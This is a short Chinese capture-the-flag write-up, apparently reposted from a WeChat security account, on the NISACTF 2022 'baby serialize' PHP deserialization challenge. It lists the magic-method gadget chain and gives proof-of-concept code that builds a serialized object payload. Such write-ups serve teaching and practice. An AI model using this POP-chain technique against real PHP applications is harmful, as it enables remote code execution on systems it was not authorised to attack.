从零开始学习反序列化：[NISACTF 2022] baby serialize 详解

class NISA -> __invoke()

class Ilovetxw ->__toString()

class four -> __set()

class Ilovetxw ->__call()

class TianXiWei ->__wakeup()

编写poc的时候要反着写

$a=new TianXiWei();

$a->ext=new Ilovetxw();

$a->ext->huang=new four();

$a->ext->huang->a=new Ilovetxw();

$a->ext->huang->a->su=new NISA();

echo urlencode(serialize($a));

把类User实体化并赋值给tset，此时test是个对象，调用对象可以用print_r或者var_dump

__set()触发 给不存在的成员属性赋值时会触发

如果大家也是从零开始学习反序列化，如果也有人觉得“反序列化我就是学不会”，希望大家静下心来，世上无难事只怕有心人，就从现在开始学就完事。

原文始发于微信公众号（小话安全）：从零开始学习反序列化：[NISACTF 2022] baby serialize 详解